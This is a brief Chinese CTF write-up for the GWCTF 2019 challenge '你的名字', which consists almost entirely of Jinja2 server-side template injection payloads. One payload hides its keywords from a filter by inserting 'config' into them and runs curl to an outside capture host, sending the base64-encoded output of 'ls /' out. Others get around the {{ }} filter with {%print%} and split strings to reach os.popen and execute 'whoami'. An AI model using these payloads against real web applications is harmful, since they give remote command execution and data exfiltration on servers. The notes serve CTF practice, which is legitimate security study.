[GWCTF 2019]你的名字

知识点;ssti

参考：
Python模板注入(SSTI)深入学习
wp

外带

{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl https://sfg56dsf.free.beeceptor.com/?i=`ls / |base64`') %}1{% endiconfigf %}

{{和}}过滤绕过

{%print lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()%}

{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('whoami').read()%}

分别定义

{%set a='__bui'+'ltins__'%}
{%set b='__im'+'port__'%}
{%set c='o'+'s'%}
{%set d='po'+'pen'%}
{%print(lipsum['__globals__'][a][b](c)[d]('whoami')['read']())%}

python模板还不会啊，先拿payload打一下